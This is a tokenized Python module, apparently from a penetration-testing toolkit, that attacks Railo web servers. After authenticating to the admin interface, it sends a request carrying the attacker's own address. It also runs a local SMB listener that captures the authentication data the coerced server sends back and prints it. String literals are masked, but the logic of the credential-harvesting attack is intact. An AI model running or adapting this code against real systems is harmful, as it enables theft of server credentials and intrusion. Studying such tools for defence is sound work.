<s> from src . platform . railo . authenticate import checkAuth <EOL> from src . platform . railo . interfaces import RINTERFACES <EOL> from src . lib . cifstrap import Handler <EOL> from auxiliary import Auxiliary <EOL> from threading import Thread <EOL> from time import sleep <EOL> from log import LOG <EOL> import socket <EOL> import utility <EOL> import state <EOL> class Auxiliary : <EOL> def __init__ ( self ) : <EOL> self . name = '<STR_LIT>' <EOL> self . versions = [ '<STR_LIT>' , '<STR_LIT>' ] <EOL> self . flag = '<STR_LIT>' <EOL> self . _Listen = False <EOL> def check ( self , fingerprint ) : <EOL> if fingerprint . version in self . versions and fingerprint . title in [ RINTERFACES . WEB ] : <EOL> return True <EOL> return False <EOL> def run ( self , fingerengine , fingerprint ) : <EOL> """<STR_LIT>""" <EOL> if not utility . check_admin ( ) : <EOL> utility . Msg ( "<STR_LIT>" , LOG . ERROR ) <EOL> return <EOL> utility . Msg ( "<STR_LIT>" ) <EOL> self . _Listen = True <EOL> thread = Thread ( target = self . smb_listener ) <EOL> thread . start ( ) <EOL> utility . Msg ( "<STR_LIT>" ) <EOL> base = '<STR_LIT>' . format ( fingerengine . options . ip , fingerprint . port ) <EOL> uri = "<STR_LIT>" <EOL> data = { "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" . format ( utility . local_address ( ) ) , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" <EOL> } <EOL> url = base + uri <EOL> cookies = checkAuth ( fingerengine . options . ip , fingerprint . port , <EOL> fingerprint . title ) <EOL> if not cookies : <EOL> utility . Msg ( "<STR_LIT>" % ( fingerengine . options . ip , <EOL> fingerprint . port ) , <EOL> LOG . ERROR ) <EOL> self . _Listen = False <EOL> return <EOL> response = utility . requests_post ( url , data = data , cookies = cookies ) <EOL> while thread . is_alive ( ) : <EOL> sleep ( <NUM_LIT:1> ) <EOL> if response . status_code != <NUM_LIT:200> : <EOL> utility . Msg ( "<STR_LIT>" % response . status_code ) <EOL> self . _Listen = False <EOL> def smb_listener ( self ) : <EOL> """<STR_LIT>""" <EOL> try : <EOL> handler = None <EOL> sock = socket . socket ( ) <EOL> sock . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , <NUM_LIT:1> ) <EOL> sock . settimeout ( state . timeout ) <EOL> sock . bind ( ( '<STR_LIT>' , <NUM_LIT> ) ) <EOL> sock . listen ( <NUM_LIT:1> ) <EOL> while self . _Listen : <EOL> try : <EOL> ( con , addr ) = sock . accept ( ) <EOL> except : <EOL> return <EOL> handler = Handler ( con , addr ) <EOL> handler . start ( ) <EOL> while handler . is_alive ( ) : <EOL> sleep ( <NUM_LIT:1> ) <EOL> if handler . data : <EOL> utility . Msg ( "<STR_LIT:%s>" % handler . data , LOG . SUCCESS ) <EOL> break <EOL> except Exception , e : <EOL> utility . Msg ( "<STR_LIT>" % e , LOG . ERROR ) <EOL> finally : <EOL> sock . close ( ) </s>
